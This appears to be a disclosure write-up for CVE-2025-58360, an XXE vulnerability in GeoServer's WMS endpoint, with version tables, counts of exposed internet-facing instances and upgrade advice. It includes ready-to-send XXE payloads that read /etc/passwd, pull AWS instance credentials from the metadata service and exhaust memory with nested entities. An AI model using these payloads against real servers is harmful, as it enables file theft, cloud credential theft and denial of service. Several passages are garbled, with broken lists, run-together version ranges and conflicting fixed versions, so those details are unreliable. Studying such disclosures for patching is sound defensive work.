
CVE-2025-58360

AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:LThis is a classic but devastating XXE in the Web Map Service (WMS) GetMap endpoint.
Attackers can:
/etc/passwd, , private keys, etc.)geoserver.xml| Component | Vulnerable Versions | Fixed In | Status |
|---|---|---|---|
| GeoServer Standalone | 2.26.0 – 2.26.1 ≤ 2.25.5 | 2.26.3, 2.25.6, 2.27.0 | 🔴 Vulnerable |
| Docker (osgeo/geoserver) | 2.26.0 – 2.26.1 ≤ 2.25.5 | 2.26.2+, 2.27.0 | 🔴 Vulnerable |
| Maven org.geoserver:gs-wms | 2.26.0 – 2.26.1 ≤ 2.25.5 | 2.26.2+, 2.25.6 | 🔴 Vulnerable |
| Maven org.geoserver.web:gs-web-app | 2.26.0 – 2.26.1 ≤ 2.25.5 | 2.26.2+, 2.25.6 | 🔴 Vulnerable |
| GeoServer 2.27.x and newer | – | Already patched | ✅ Safe |
| Source | Exposed Instances | Notes |
|---|---|---|
| ZoomEye | ~49,400 | app:"GeoServer" search |
| FOFA | ~24,000 | Past-year results |
| Shodan | ~31,000 | Port 8080 + title match |
| GobySec | ~20,000 | Public network scan |
→ That’s tens of thousands of potentially vulnerable servers sitting on the open internet right now! 🌐
Endpoint: POST /geoserver/wms
Key Parameter: SLD_BODY (allows raw XML styling)
Vulnerable Code Path: The XML parser does not disable external entity resolution → classic XXE.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<sld:StyledLayerDescriptor xmlns:sld="http://www.opengis.net/sld" version="1.0.0">
<sld:UserLayer>
<sld:LayerFeatureConstraints>
<sld:FeatureTypeConstraint>&xxe;</sld:FeatureTypeConstraint>
</sld:LayerFeatureConstraints>
</sld:UserLayer>
</sld:StyledLayerDescriptor>
→ Response contains the contents of /etc/passwd 🎉
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
→ Leaks temporary AWS credentials if running on EC2.
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!-- repeat up to lol9 -->
]>
<lol>&lol9;</lol>
→ Consumes gigabytes of RAM in seconds 💥
| Version | Release Date | Download Link |
|---|---|---|
| 2.27.0 | Nov 25, 2025 | https://geoserver.org/release/stable/ |
| 2.26.3 | Nov 25, 2025 | Maintenance branch patch |
| 2.25.6 | Nov 25, 2025 | Older supported branch |
Docker users:
docker pull osgeo/geoserver:2.27.0
<!ENTITY or SYSTEM "file://| Date | Event |
|---|---|
| Before Nov 2025 | Discovered autonomously by XBOW AI scanner |
| Nov 25, 2025 | Coordinated disclosure → patches released |
| Nov 25, 2025 | CVE assigned & published |
| Nov 26, 2025 | PoCs go viral, exposure scans spike |
This is a textbook XXE that hits a widely deployed geospatial platform with tens of thousands of internet-facing instances.
Patches dropped the same day as disclosure — huge props to the GeoServer team for speed! 🏆
But the window between patch availability and mass exploitation is shrinking fast.
If you run GeoServer → upgrade today.
Don’t become the next headline.
Stay secure, stay shiny! 🛡️✨